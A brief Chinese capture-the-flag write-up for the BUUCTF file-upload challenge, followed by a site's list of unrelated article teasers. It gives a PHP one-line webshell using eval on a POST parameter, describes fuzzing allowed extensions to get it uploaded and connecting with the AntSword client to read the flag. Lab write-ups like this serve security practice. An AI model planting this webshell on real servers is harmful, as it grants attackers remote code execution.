打开靶机后发现是一个文件上传的题目
随便上传一个文件观察路径和返回的方式是什么
发现只能上传jpg,png,gif的文件
上传一个jpg文件
发现页面会回显返回的路径
既然有路径了我们就可以尝试上传一句话木马了
构造一句话木马
<?php
@eval($_POST['rc']);
?>
导入字典观察过滤的哪些后缀
发现基本都没过滤
那就找到返回最长的发送过去
上传成功
蚁剑连接
在根目录中便可找到flag
news
2026/5/11 14:56:31
BUUCTF-[ACTF2020 新生赛]Upload
张小明
前端开发工程师
1.2k
24
版权声明:
本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若内容造成侵权/违法违规/事实不符，请联系邮箱：809451989@qq.com进行投诉反馈，一经查实，立即删除！
网站建设
2026/4/19 20:14:18
裸辞转行AI大模型：我的学习路径与面试经验全记录_我的AI大模型转行记录
文章作者分享从其他行业成功转型AI大模型的经历。裸辞前系统学习AI大模型原理并完成落地项目，面试前分析自身优劣势，深入理解底层原理，针对岗位定制简历。面对就业压力保持良好心态，制定合理预期，最终成功入职。文章为…
李华
网站建设
2026/5/2 23:27:55
msvcp140_1.dll文件丢失找不到问题 免费下载方法分享
在使用电脑系统时经常会出现丢失找不到某些文件的情况，由于很多常用软件都是采用 Microsoft Visual Studio 编写的，所以这类软件的运行需要依赖微软Visual C运行库，比如像 QQ、迅雷、Adobe 软件等等，如果没有安装VC运行库或者安装…
李华
网站建设
2026/5/9 3:35:59
8 款 AI 毕业论文写作工具实测：拯救你的学术秃头季
又到毕业季，看着空白的 Word 文档和导师催稿的消息，不少同学直接陷入 “论文焦虑症”。别慌！AI 写作工具已经成为当代毕业生的隐形外挂。我们实测了全网最火的 8 款 AI 毕业论文写作工具，从选题、框架到降重一站式搞定，…
李华
网站建设
2026/5/10 21:11:10
【目标融合】基于卡尔曼滤波实现gps、里程计和电子罗盘目标融合，输出目标的滤波位置附matlab代码
✅作者简介：热爱科研的Matlab仿真开发者，擅长数据处理、建模仿真、程序设计、完整代码获取、论文复现及科研仿真。🍎 往期回顾关注个人主页：Matlab科研工作室👇 关注我领取海量matlab电子书和数学建模资料 ἴ…
李华
网站建设
2026/4/30 7:27:49
深度测评 自考必备 9款一键生成论文工具TOP9推荐
深度测评 自考必备 9款一键生成论文工具TOP9推荐 自考论文写作的高效助手：为何需要一份权威测评 随着自考人数逐年增长，论文写作已成为许多考生必须面对的挑战。从选题构思到资料收集，再到内容撰写与格式调整，整个过程耗时且复杂。…
李华
网站建设
2026/5/9 11:39:04
AUTOSAR如何自动化生成BSW、RTE、AP模块并进行一致性校验？
AUTOSAR这个框架中，BSW（Basic Software）、RTE（Runtime Environment）和AP（Application）模块各司其职，构成了整个软件系统的核心。BSW负责硬件抽象和基础服务，比如通信、诊…
李华